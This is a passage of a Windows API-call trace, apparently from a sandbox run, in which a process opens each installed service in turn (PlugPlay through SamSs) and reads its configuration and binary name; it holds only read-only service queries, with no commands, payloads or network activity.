lpMultiByteStr=0x1d18df8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plugplay", lpUsedDefaultChar=0x0) returned 8 [0028.112] OpenServiceW (hSCManager=0x286c38, lpServiceName="PlugPlay", dwDesiredAccess=0x1) returned 0x286e18 [0028.112] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.112] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.112] GetLastError () returned 0x7a [0028.112] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x10a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpautoreg", cchWideChar=11, lpMultiByteStr=0x1d18e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpautoreg", lpUsedDefaultChar=0x0) returned 11 [0028.112] OpenServiceW (hSCManager=0x286c38, lpServiceName="PNRPAutoReg", dwDesiredAccess=0x1) returned 0x286d00 [0028.113] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.113] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.113] GetLastError () returned 0x7a [0028.113] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x166, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d18e40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.113] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnrpsvc", cchWideChar=7, lpMultiByteStr=0x1d1f8d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnrpsvc", lpUsedDefaultChar=0x0) returned 7 [0028.113] OpenServiceW (hSCManager=0x286c38, lpServiceName="PNRPsvc", dwDesiredAccess=0x1) returned 0x286dc8 [0028.113] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.114] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.114] GetLastError () returned 0x7a [0028.114] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1f8d0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.114] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policyagent", cchWideChar=11, lpMultiByteStr=0x1d1f918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policyagent", lpUsedDefaultChar=0x0) returned 11 [0028.114] OpenServiceW (hSCManager=0x286c38, lpServiceName="PolicyAgent", dwDesiredAccess=0x1) returned 0x286d28 [0028.114] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.114] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.114] GetLastError () returned 0x7a [0028.115] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x160, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1f960, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="power", cchWideChar=5, lpMultiByteStr=0x1d1f960, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="power", lpUsedDefaultChar=0x0) returned 5 [0028.115] OpenServiceW (hSCManager=0x286c38, lpServiceName="Power", dwDesiredAccess=0x1) returned 0x286e18 [0028.115] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.115] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.115] GetLastError () returned 0x7a [0028.115] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0xfa, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.115] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1f9a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="profsvc", cchWideChar=7, lpMultiByteStr=0x1d1f9a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="profsvc", lpUsedDefaultChar=0x0) returned 7 [0028.116] OpenServiceW (hSCManager=0x286c38, lpServiceName="ProfSvc", dwDesiredAccess=0x1) returned 0x286d00 [0028.116] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.116] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.116] GetLastError () returned 0x7a [0028.116] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1f9f0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protectedstorage", cchWideChar=16, lpMultiByteStr=0x1d1f9f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protectedstorage", lpUsedDefaultChar=0x0) returned 16 [0028.116] OpenServiceW (hSCManager=0x286c38, lpServiceName="ProtectedStorage", dwDesiredAccess=0x1) returned 0x286dc8 [0028.117] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.117] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.117] GetLastError () returned 0x7a [0028.117] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0xec, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1d1fa38, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0028.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="qwave", cchWideChar=5, lpMultiByteStr=0x1d1fa38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qwave", lpUsedDefaultChar=0x0) returned 5 [0028.117] OpenServiceW (hSCManager=0x286c38, lpServiceName="QWAVE", dwDesiredAccess=0x1) returned 0x286d28 [0028.117] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.118] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.118] GetLastError () returned 0x7a [0028.118] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x1a8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fa80, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasauto", cchWideChar=7, lpMultiByteStr=0x1d1fa80, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasauto", lpUsedDefaultChar=0x0) returned 7 [0028.118] OpenServiceW (hSCManager=0x286c38, lpServiceName="RasAuto", dwDesiredAccess=0x1) returned 0x286e18 [0028.118] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.118] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.119] GetLastError () returned 0x7a [0028.119] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fac8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rasman", cchWideChar=6, lpMultiByteStr=0x1d1fac8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rasman", lpUsedDefaultChar=0x0) returned 6 [0028.119] OpenServiceW (hSCManager=0x286c38, lpServiceName="RasMan", dwDesiredAccess=0x1) returned 0x286d00 [0028.119] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.119] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.119] GetLastError () returned 0x7a [0028.119] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x138, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fb10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteaccess", cchWideChar=12, lpMultiByteStr=0x1d1fb10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteaccess", lpUsedDefaultChar=0x0) returned 12 [0028.120] OpenServiceW (hSCManager=0x286c38, lpServiceName="RemoteAccess", dwDesiredAccess=0x1) returned 0x286dc8 [0028.120] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.120] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.120] GetLastError () returned 0x7a [0028.120] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fb58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remoteregistry", cchWideChar=14, lpMultiByteStr=0x1d1fb58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remoteregistry", lpUsedDefaultChar=0x0) returned 14 [0028.121] OpenServiceW (hSCManager=0x286c38, lpServiceName="RemoteRegistry", dwDesiredAccess=0x1) returned 0x286d28 [0028.121] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.121] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.121] GetLastError () returned 0x7a [0028.121] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x11c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fba0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpceptmapper", cchWideChar=12, lpMultiByteStr=0x1d1fba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpceptmapper", lpUsedDefaultChar=0x0) returned 12 [0028.121] OpenServiceW (hSCManager=0x286c38, lpServiceName="RpcEptMapper", dwDesiredAccess=0x1) returned 0x286e18 [0028.121] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0028.122] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.122] GetLastError () returned 0x7a [0028.122] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fbe8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpclocator", cchWideChar=10, lpMultiByteStr=0x1d1fbe8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpclocator", lpUsedDefaultChar=0x0) returned 10 [0028.122] OpenServiceW (hSCManager=0x286c38, lpServiceName="RpcLocator", dwDesiredAccess=0x1) returned 0x286d00 [0028.122] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0028.122] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.123] GetLastError () returned 0x7a [0028.123] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x12a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="locator.exe", cchWideChar=11, lpMultiByteStr=0x1d1fc30, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="locator.exe", lpUsedDefaultChar=0x0) returned 11 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpcss", cchWideChar=5, lpMultiByteStr=0x1d1fc30, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpcss", lpUsedDefaultChar=0x0) returned 5 [0028.123] OpenServiceW (hSCManager=0x286c38, lpServiceName="RpcSs", dwDesiredAccess=0x1) returned 0x286dc8 [0028.123] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0028.123] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.123] GetLastError () returned 0x7a [0028.123] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x17e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0028.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1d1fc78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="samss", cchWideChar=5, lpMultiByteStr=0x1d1fc78, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="samss", lpUsedDefaultChar=0x0) returned 5 [0028.124] OpenServiceW (hSCManager=0x286c38, lpServiceName="SamSs", dwDesiredAccess=0x1) returned 0x286d28 [0028.124] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0028.124] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0028.124] GetLastError () returned 0x7a [0028.124] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x12e, 